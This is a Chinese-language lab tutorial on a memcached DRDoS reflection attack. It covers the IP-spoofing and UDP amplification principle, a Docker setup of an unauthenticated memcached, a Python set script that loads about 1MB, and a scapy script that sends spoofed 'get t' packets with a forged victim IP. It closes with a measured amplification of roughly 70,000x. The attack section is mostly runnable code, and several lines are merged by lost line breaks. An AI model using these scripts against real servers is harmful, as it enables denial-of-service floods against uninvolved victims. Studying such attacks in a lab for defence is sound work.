memcached DRDOS攻击实验
一、前提
关于drdos
DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。
关于memcached命令
第一个是上传有效载荷Memcached set 命令
Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。
如果set的key已经存在,该命令可以更新该key所对应的原来的数据,也就是实现更新的作用
第二个反射有效载荷Memcached get 命令
Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。
关于攻击原理
TCP基于3次握手,如果源IP被伪造会停止通信,但是UDP因为面向无连接的,即使伪造IP也可以通信,服务器也无法验证源IP真实性,因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机,从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷,使用UDP构造请求来发起攻击
关于攻击过程
drdos攻击的三个过程
1.攻击者,必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。
2.攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。
3.反射服务器,必须可以反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增加。
二、实验环境
攻击机 kali,装有memcached的ubuntu肉鸡,受害机,这里是模拟,受害机ip可以随便写
Memcached drdos拓扑图
三、实验步骤
1.docker部署memcached
默认已经安装了docker,docker-compose,用docker起一个memcached环境,需要同时打开udp和tcp,-e表示配置memcached的环境变量,缓存大小设置为64M
docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32
2.docker ps 查看容器状态
3.查看端口开放情况
netstat -anop | grep 11211 看到tcp和udp都有在监听连接,大抵是udp是面向无连接的,所以虽然没显示listen,但其实也在监听
4.测试无授权
memcached drdos攻击需要满足无授权,来测试一下是不是无授权
输入telnet 192.168.20.172 11211
然后输入stats,发现不用输入密码也能正常回显,无授权条件达成
5.编写set脚本
python安装pymemcache库
pip install pymemcache
然后编写脚本set大约1Mb数据到memcached,
创建并编辑drdos.py
from pymemcache.client.base import Client
import sysclient = Client(('192.168.20.172', 11211)) //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:print "[*] payload set done!"
else:print "[!] payload set error!"
6.编写反射脚本
src为伪造的ip,这里为受害机,伪造是10.40.0.133发起的get t请求,memcached将会把数据反射给10.40.0.133
from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sysfor i in range(int(sys.argv[1] )):data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/datasend(package, count=1)print "[*] send %d times " % int(i+1)
7.分别运行set和反射脚本
python drdos.py
python drdos1.py 1 (数字为想要请求几次,这里就请求一次)
8.查看set结果
在刚刚telnet连接的界面
输入get t,看看有没有set成功
看到数据总共1046530字节
9.查看流量
在受害机wireshark抓取流量,这里选择捕获虚拟机网卡的流量,根据实际情况选择
过滤udp.port == 11211,可以看到伪造的15字节的udp get请求,看到源目的ip,确实是反射给了受害机,因为是udp,会分成多个包
随意选择一个,追踪udp流,看到整个udp包
10.计算放大比
我们在kali伪造请求数据data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" 总共15字节,但memcached却给受害机反射了1046530字节
1046530/15约等于69768倍,也就是放大了将近7万倍,这还只是我们在一个机子上发送的一次请求